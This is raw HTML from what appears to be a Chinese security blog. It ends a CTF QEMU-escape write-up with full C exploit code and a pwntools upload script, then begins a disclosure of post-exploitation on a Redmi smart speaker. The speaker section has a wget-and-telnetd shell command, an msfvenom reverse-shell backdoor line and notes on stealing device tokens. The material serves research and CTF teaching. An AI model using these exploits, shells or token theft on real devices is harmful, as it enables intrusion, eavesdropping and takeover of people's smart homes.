<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">size</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">mmio_read</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">offset</span><span class="p">);}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="c1">// init mmio and pmio</span>
<span class="n">iopl</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">mmio_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/sys/devices/pci0000:00/0000:00:04.0/resource0"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_SYNC</span><span class="p">);</span>
<span class="n">mmio</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">mmio_fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// write '/'*87 to block 2</span>
<span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
<span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="sc">'/'</span><span class="p">,</span><span class="mi">87</span><span class="p">);</span>
<span class="n">write_block</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x5c</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
<span class="c1">// decode block 2 to block 6, it will overflow block 7 size</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="c1">// out of bound read block 7 (offset 0x44), leak encode function ptr</span>
<span class="kt">char</span> <span class="n">leak</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
<span class="n">read_block</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="n">leak</span><span class="p">);</span>
<span class="kt">long</span> <span class="kt">long</span> <span class="n">base</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="kt">long</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">leak</span><span class="p">)</span><span class="o">-</span><span class="mh">0x3404F3</span><span class="p">;</span>
<span class="kt">long</span> <span class="kt">long</span> <span class="n">sys</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="mh">0x2C0AD0</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] base: 0x%llx </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">base</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] system: 0x%llx </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">sys</span><span class="p">);</span>
<span class="c1">// out of bound write block 7 (offset 0x44), overwrite encode function ptr to system ptr</span>
<span class="n">write_block</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="mh">0x5c</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">sys</span><span class="p">));</span>
<span class="c1">// write cmd to block 4</span>
<span class="kt">char</span> <span class="n">cmd</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"cat /flag ; gnome-calculator ;</span><span class="se">\x00</span><span class="s">"</span><span class="p">;</span>
<span class="n">write_block</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cmd</span><span class="p">);</span>
<span class="c1">// trigger encode(block 4) to system(cmd)</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>本地成功弹计算器:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/calc.png" alt="image" /></p>
<p>攻击远程可使用<a href="https://musl.cc/#binaries">musl libc</a>减小体积,下载x86_64的本地版本<a href="https://musl.cc/x86_64-linux-musl-native.tgz">https://musl.cc/x86_64-linux-musl-native.tgz</a>,然后直接编译即可:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ ../../x86_64-linux-musl-native/bin/x86_64-linux-musl-gcc --static ./exp.c -o exp
➜ ../../x86_64-linux-musl-native/bin/strip ./exp
➜ ls -al ./exp
-rwxr-xr-x 1 xuanxuan staff 22616 9 18 01:59 ./exp
</code></pre></div></div>
<p>还是之前python2的上传脚本…</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s">'debug'</span><span class="p">)</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"172.35.7.30"</span><span class="p">,</span><span class="mi">9999</span><span class="p">)</span>
<span class="c1">#io = process("./launch.sh")
</span>
<span class="k">def</span> <span class="nf">exec_cmd</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"/ #"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">upload</span><span class="p">():</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">"Upload"</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"./exp"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">encoded</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"/ #"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">encoded</span><span class="p">),</span> <span class="mi">600</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">status</span><span class="p">(</span><span class="s">"%d / %d"</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">encoded</span><span class="p">)))</span>
<span class="n">exec_cmd</span><span class="p">(</span><span class="s">"echo </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s"> >> /home/ctf/benc"</span> <span class="o">%</span> <span class="p">(</span><span class="n">encoded</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">600</span><span class="p">]))</span>
<span class="n">exec_cmd</span><span class="p">(</span><span class="s">"cat /home/ctf/benc | base64 -d > /home/ctf/bout"</span><span class="p">)</span>
<span class="n">exec_cmd</span><span class="p">(</span><span class="s">"chmod +x /home/ctf/bout"</span><span class="p">)</span>
<span class="n">exec_cmd</span><span class="p">(</span><span class="s">"/home/ctf/bout"</span><span class="p">)</span>
<span class="n">upload</span><span class="p">()</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>老板娘第一次在比赛中做出QEMU赛题,难度不大,6解,800分。漏洞点为:在目标代码进行base64解码时,数据长度限制由于除法忽略小数点后数据,进而产生的单字节溢出。溢出可以覆盖掉题目中的关键数据结构的size成员(PipeLineState.decPipe[3].size),进而可以越界读写题目中的函数指针,完成地址信息泄露以及控制流劫持。并且通过此函数指针可以简单的完成system(cmd)的调用,最终读取flag。2020补天杯复盘:小米小爱音箱 后渗透利用公开2022-09-16T00:00:00+00:002022-09-16T00:00:00+00:00https://xuanxuanblingbling.github.io/iot/2022/09/16/mi<blockquote>
<p>2020年11月,淼哥、老徐、我,仨人代表清华校队Redbud参加补天杯,项目为现场破解小米小爱音箱Pro。预期效果为在内网环境下,通过对音箱的破解,接管目标家庭的所有米家智能家居,包括:扫地机器人,窗帘,电饭锅,台灯以及电风扇。但由于小米安全人员(李海粟、曾颖涛)进行现场干扰,导致比赛现场的小米小爱音箱启动并联网后,就直接被小米后台远程重置,也就无法进入正常的业务逻辑,最后判定漏洞演示失败。本篇将以Redmi小爱音箱Play(2020年左右软件版本的1.60.10)为例,公开我们当时完成的播放音乐、录音窃听、家居控制等后渗透利用的具体方法,虽然过后看起来难度不大,但也是我们仨经过曲折探索才找到的一条可行路径。</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/redmi.jpeg" alt="image" /></p>
<iframe src="https://www.youtube.com/embed/y_7909frQJA" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" width="100%" height="600"> </iframe>
<h2 id="整体情况">整体情况</h2>
<p>小米小爱音箱全系列的技术方案类似,在软件版本上也基本保持同步,所以在软件上的后渗透利用方法也大体上强相关于软件版本,弱相关于硬件设备。本次公开的利用方法在2020年左右的软件版本(1.60.10、1.66.7等)上测试完成,目前新版本(1.80.xx及以上)不保证有效。同样,对于软件方案的整体情况说明也仅针对于老版本。先通过任意漏洞拿到shell,有的设备自带telnetd,如果没有可以自行下载完整busybox并开启telnetd:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmd</span> <span class="o">=</span> <span class="s">"/usr/bin/wget --no-check-certificate https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l "</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="s">"-O /data/busybox;"</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="s">"chmod +x /data/busybox;"</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="s">"/data/busybox telnetd -p 23 -l /bin/sh &"</span>
</code></pre></div></div>
<h3 id="系统信息">系统信息</h3>
<p>全志SoC,ARMv7小端:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">cat</span> <span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="n">cpuinfo</span>
<span class="n">processor</span> <span class="o">:</span> <span class="mi">0</span>
<span class="n">model</span> <span class="n">name</span> <span class="o">:</span> <span class="n">ARMv7</span> <span class="n">Processor</span> <span class="n">rev</span> <span class="mi">5</span> <span class="p">(</span><span class="n">v7l</span><span class="p">)</span>
<span class="n">BogoMIPS</span> <span class="o">:</span> <span class="mi">57</span><span class="p">.</span><span class="mi">14</span>
<span class="n">Features</span> <span class="o">:</span> <span class="n">half</span> <span class="n">thumb</span> <span class="n">fastmult</span> <span class="n">vfp</span> <span class="n">edsp</span> <span class="n">neon</span> <span class="n">vfpv3</span> <span class="n">tls</span> <span class="n">vfpv4</span> <span class="n">idiva</span> <span class="n">idivt</span> <span class="n">vfpd32</span> <span class="n">lpae</span>
<span class="n">CPU</span> <span class="n">implementer</span> <span class="o">:</span> <span class="mh">0x41</span>
<span class="n">CPU</span> <span class="n">architecture</span><span class="o">:</span> <span class="mi">7</span>
<span class="n">CPU</span> <span class="n">variant</span> <span class="o">:</span> <span class="mh">0x0</span>
<span class="n">CPU</span> <span class="n">part</span> <span class="o">:</span> <span class="mh">0xc07</span>
<span class="n">CPU</span> <span class="n">revision</span> <span class="o">:</span> <span class="mi">5</span>
<span class="n">processor</span> <span class="o">:</span> <span class="mi">1</span>
<span class="n">model</span> <span class="n">name</span> <span class="o">:</span> <span class="n">ARMv7</span> <span class="n">Processor</span> <span class="n">rev</span> <span class="mi">5</span> <span class="p">(</span><span class="n">v7l</span><span class="p">)</span>
<span class="n">BogoMIPS</span> <span class="o">:</span> <span class="mi">57</span><span class="p">.</span><span class="mi">14</span>
<span class="n">Features</span> <span class="o">:</span> <span class="n">half</span> <span class="n">thumb</span> <span class="n">fastmult</span> <span class="n">vfp</span> <span class="n">edsp</span> <span class="n">neon</span> <span class="n">vfpv3</span> <span class="n">tls</span> <span class="n">vfpv4</span> <span class="n">idiva</span> <span class="n">idivt</span> <span class="n">vfpd32</span> <span class="n">lpae</span>
<span class="n">CPU</span> <span class="n">implementer</span> <span class="o">:</span> <span class="mh">0x41</span>
<span class="n">CPU</span> <span class="n">architecture</span><span class="o">:</span> <span class="mi">7</span>
<span class="n">CPU</span> <span class="n">variant</span> <span class="o">:</span> <span class="mh">0x0</span>
<span class="n">CPU</span> <span class="n">part</span> <span class="o">:</span> <span class="mh">0xc07</span>
<span class="n">CPU</span> <span class="n">revision</span> <span class="o">:</span> <span class="mi">5</span>
<span class="n">Hardware</span> <span class="o">:</span> <span class="n">sun8iw18</span>
<span class="n">Revision</span> <span class="o">:</span> <span class="mo">0000</span>
<span class="n">Serial</span> <span class="o">:</span> <span class="mo">0000000000000000</span>
</code></pre></div></div>
<p>可以系统确定为魔改openwrt:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># cat /proc/version
</span><span class="n">Linux</span> <span class="n">version</span> <span class="mi">4</span><span class="p">.</span><span class="mi">9</span><span class="p">.</span><span class="mi">118</span> <span class="p">(</span><span class="n">gcc</span> <span class="n">version</span> <span class="mi">6</span><span class="p">.</span><span class="mi">4</span><span class="p">.</span><span class="mi">1</span><span class="p">)</span> <span class="err">#</span><span class="mi">1</span> <span class="n">SMP</span> <span class="n">Sun</span> <span class="n">Jan</span> <span class="mi">19</span> <span class="mi">10</span><span class="o">:</span><span class="mi">57</span><span class="o">:</span><span class="mi">28</span> <span class="n">UTC</span> <span class="mi">2020</span>
<span class="cp"># opkg
</span><span class="n">opkg</span> <span class="n">must</span> <span class="n">have</span> <span class="n">one</span> <span class="n">sub</span><span class="o">-</span><span class="n">command</span> <span class="n">argument</span>
<span class="n">usage</span><span class="o">:</span> <span class="n">opkg</span> <span class="p">[</span><span class="n">options</span><span class="p">...]</span> <span class="n">sub</span><span class="o">-</span><span class="n">command</span> <span class="p">[</span><span class="n">arguments</span><span class="p">...]</span>
<span class="n">where</span> <span class="n">sub</span><span class="o">-</span><span class="n">command</span> <span class="n">is</span> <span class="n">one</span> <span class="n">of</span><span class="o">:</span>
</code></pre></div></div>
<h3 id="文件系统">文件系统</h3>
<p>通过mount信息可见,根文件系统是squashfs,因此不能通过文件系统本身直接进行持久化的修改:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># mount
</span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">root</span> <span class="n">on</span> <span class="o">/</span> <span class="n">type</span> <span class="n">squashfs</span> <span class="p">(</span><span class="n">ro</span><span class="p">,</span><span class="n">noatime</span><span class="p">)</span>
<span class="n">devtmpfs</span> <span class="n">on</span> <span class="o">/</span><span class="n">dev</span> <span class="n">type</span> <span class="n">devtmpfs</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">relatime</span><span class="p">,</span><span class="n">size</span><span class="o">=</span><span class="mi">29128</span><span class="n">k</span><span class="p">,</span><span class="n">nr_inodes</span><span class="o">=</span><span class="mi">7282</span><span class="p">,</span><span class="n">mode</span><span class="o">=</span><span class="mi">755</span><span class="p">)</span>
<span class="n">proc</span> <span class="n">on</span> <span class="o">/</span><span class="n">proc</span> <span class="n">type</span> <span class="n">proc</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">nosuid</span><span class="p">,</span><span class="n">nodev</span><span class="p">,</span><span class="n">noexec</span><span class="p">,</span><span class="n">noatime</span><span class="p">)</span>
<span class="n">sysfs</span> <span class="n">on</span> <span class="o">/</span><span class="n">sys</span> <span class="n">type</span> <span class="n">sysfs</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">nosuid</span><span class="p">,</span><span class="n">nodev</span><span class="p">,</span><span class="n">noexec</span><span class="p">,</span><span class="n">noatime</span><span class="p">)</span>
<span class="n">tmpfs</span> <span class="n">on</span> <span class="o">/</span><span class="n">tmp</span> <span class="n">type</span> <span class="n">tmpfs</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">nosuid</span><span class="p">,</span><span class="n">nodev</span><span class="p">,</span><span class="n">noatime</span><span class="p">)</span>
<span class="n">tmpfs</span> <span class="n">on</span> <span class="o">/</span><span class="n">dev</span> <span class="n">type</span> <span class="n">tmpfs</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">nosuid</span><span class="p">,</span><span class="n">relatime</span><span class="p">,</span><span class="n">size</span><span class="o">=</span><span class="mi">512</span><span class="n">k</span><span class="p">,</span><span class="n">mode</span><span class="o">=</span><span class="mi">755</span><span class="p">)</span>
<span class="n">devpts</span> <span class="n">on</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">pts</span> <span class="n">type</span> <span class="n">devpts</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">nosuid</span><span class="p">,</span><span class="n">noexec</span><span class="p">,</span><span class="n">relatime</span><span class="p">,</span><span class="n">mode</span><span class="o">=</span><span class="mi">600</span><span class="p">,</span><span class="n">ptmxmode</span><span class="o">=</span><span class="mo">000</span><span class="p">)</span>
<span class="n">debugfs</span> <span class="n">on</span> <span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">debug</span> <span class="n">type</span> <span class="n">debugfs</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">noatime</span><span class="p">)</span>
<span class="n">pstore</span> <span class="n">on</span> <span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">fs</span><span class="o">/</span><span class="n">pstore</span> <span class="n">type</span> <span class="n">pstore</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">relatime</span><span class="p">)</span>
<span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">by</span><span class="o">-</span><span class="n">name</span><span class="o">/</span><span class="n">UDISK</span> <span class="n">on</span> <span class="o">/</span><span class="n">data</span> <span class="n">type</span> <span class="n">ext4</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">relatime</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">ordered</span><span class="p">)</span>
<span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">by</span><span class="o">-</span><span class="n">name</span><span class="o">/</span><span class="n">UDISK</span> <span class="n">on</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">shadow</span> <span class="n">type</span> <span class="n">ext4</span> <span class="p">(</span><span class="n">rw</span><span class="p">,</span><span class="n">relatime</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">ordered</span><span class="p">)</span>
</code></pre></div></div>
<p>允许持久化落地的文件夹只有/data目录, /etc/shadow其实也是由/data目录的一个文件单独挂载的,目的是可动态调整linux中root用户的密码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">cd</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">init</span><span class="p">.</span><span class="n">d</span><span class="o">/</span>
<span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">init</span><span class="p">.</span><span class="n">d</span> <span class="err">#</span> <span class="n">grep</span> <span class="o">-</span><span class="n">r</span> <span class="s">"shadow"</span> <span class="p">.</span><span class="o">/</span>
<span class="p">.</span><span class="o">/</span><span class="n">boot_check</span><span class="o">:</span><span class="k">if</span> <span class="p">[</span> <span class="o">!</span> <span class="o">-</span><span class="n">f</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">console</span><span class="o">/</span><span class="n">shadow</span> <span class="p">];</span> <span class="n">then</span>
<span class="p">.</span><span class="o">/</span><span class="n">boot_check</span><span class="o">:</span> <span class="n">cp</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">shadow</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">console</span>
<span class="p">.</span><span class="o">/</span><span class="n">boot_check</span><span class="o">:</span><span class="n">mount</span> <span class="o">--</span><span class="n">bind</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">console</span><span class="o">/</span><span class="n">shadow</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">shadow</span>
</code></pre></div></div>
<p>显然/data目录应该保存着各种配置信息,如wifi,蓝牙,用户账户,以及非常有价值,拿到可以直接控设备的miio的token:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span><span class="n">data</span> <span class="err">#</span> <span class="n">ls</span>
<span class="n">ai</span><span class="o">-</span><span class="n">crontab</span> <span class="n">console</span> <span class="n">mdspeech_status</span> <span class="n">mipns</span> <span class="n">timer</span>
<span class="n">alarm</span> <span class="n">dnsmasq</span><span class="p">.</span><span class="n">time</span> <span class="n">messagingagent</span> <span class="n">player</span> <span class="n">upnp</span><span class="o">-</span><span class="n">disc</span>
<span class="n">bt</span> <span class="n">etc</span> <span class="n">mibrain</span> <span class="n">sound</span> <span class="n">wifi</span>
<span class="n">busybox</span> <span class="n">log</span> <span class="n">miio</span> <span class="n">status</span> <span class="n">workday</span>
<span class="o">/</span><span class="n">data</span> <span class="err">#</span> <span class="n">ls</span> <span class="o">-</span><span class="n">al</span> <span class="p">.</span><span class="o">/</span><span class="n">miio</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">2</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1024</span> <span class="n">Jun</span> <span class="mi">19</span> <span class="mi">12</span><span class="o">:</span><span class="mo">02</span> <span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">18</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1024</span> <span class="n">Jun</span> <span class="mi">19</span> <span class="mi">13</span><span class="o">:</span><span class="mi">19</span> <span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">17</span> <span class="n">Jan</span> <span class="mi">19</span> <span class="mi">2020</span> <span class="n">dtoken</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">35</span> <span class="n">Jun</span> <span class="mi">19</span> <span class="mi">13</span><span class="o">:</span><span class="mi">13</span> <span class="n">miio_sessionid</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">11</span> <span class="n">Jun</span> <span class="mi">19</span> <span class="mi">13</span><span class="o">:</span><span class="mi">13</span> <span class="n">miio_token</span>
</code></pre></div></div>
<p>不过很遗憾,我并没有在/data目录下找到可以在系统启动过程中影响代码执行的文件,没找到类似自启动脚本什么的,所以无法将开启telnetd等后门的代码塞到开机启动的流程中。因此也就无法通过单次攻击,达到重启后的权限驻留。可能对flash上的squashfs固件进行修改是唯一的出路,不过我并没有尝试过。另外,可以使用meterpreter拉文件下来:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.40.119 LPORT=6666 -f elf -o backdoor
</code></pre></div></div>
<h3 id="业务进程">业务进程</h3>
<p>所有进程如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">ps</span>
<span class="n">PID</span> <span class="n">USER</span> <span class="n">VSZ</span> <span class="n">STAT</span> <span class="n">COMMAND</span>
<span class="mi">1</span> <span class="n">root</span> <span class="mi">1328</span> <span class="n">S</span> <span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">procd</span>
<span class="mi">2</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kthreadd</span><span class="p">]</span>
<span class="mi">3</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">ksoftirqd</span><span class="o">/</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">4</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">0</span><span class="o">:</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">5</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">0</span><span class="o">:</span><span class="mi">0</span><span class="n">H</span><span class="p">]</span>
<span class="mi">6</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="n">u4</span><span class="o">:</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">7</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">rcu_sched</span><span class="p">]</span>
<span class="mi">8</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">rcu_bh</span><span class="p">]</span>
<span class="mi">9</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">migration</span><span class="o">/</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">10</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">lru</span><span class="o">-</span><span class="n">add</span><span class="o">-</span><span class="n">drain</span><span class="p">]</span>
<span class="mi">11</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">cpuhp</span><span class="o">/</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">12</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">cpuhp</span><span class="o">/</span><span class="mi">1</span><span class="p">]</span>
<span class="mi">13</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">migration</span><span class="o">/</span><span class="mi">1</span><span class="p">]</span>
<span class="mi">14</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">ksoftirqd</span><span class="o">/</span><span class="mi">1</span><span class="p">]</span>
<span class="mi">15</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">1</span><span class="o">:</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">16</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">1</span><span class="o">:</span><span class="mi">0</span><span class="n">H</span><span class="p">]</span>
<span class="mi">17</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kdevtmpfs</span><span class="p">]</span>
<span class="mi">18</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="n">u4</span><span class="o">:</span><span class="mi">1</span><span class="p">]</span>
<span class="mi">165</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="n">u4</span><span class="o">:</span><span class="mi">2</span><span class="p">]</span>
<span class="mi">228</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">oom_reaper</span><span class="p">]</span>
<span class="mi">229</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">writeback</span><span class="p">]</span>
<span class="mi">231</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">crypto</span><span class="p">]</span>
<span class="mi">232</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">bioset</span><span class="p">]</span>
<span class="mi">234</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span><span class="o"><</span> <span class="p">[</span><span class="n">kblockd</span><span class="p">]</span>
<span class="mi">273</span> <span class="n">root</span> <span class="mi">0</span> <span class="n">SW</span> <span class="p">[</span><span class="n">kworker</span><span class="o">/</span><span class="mi">0</span><span class="o">:</span><span class="mi">1</span><span class="p">]</span>
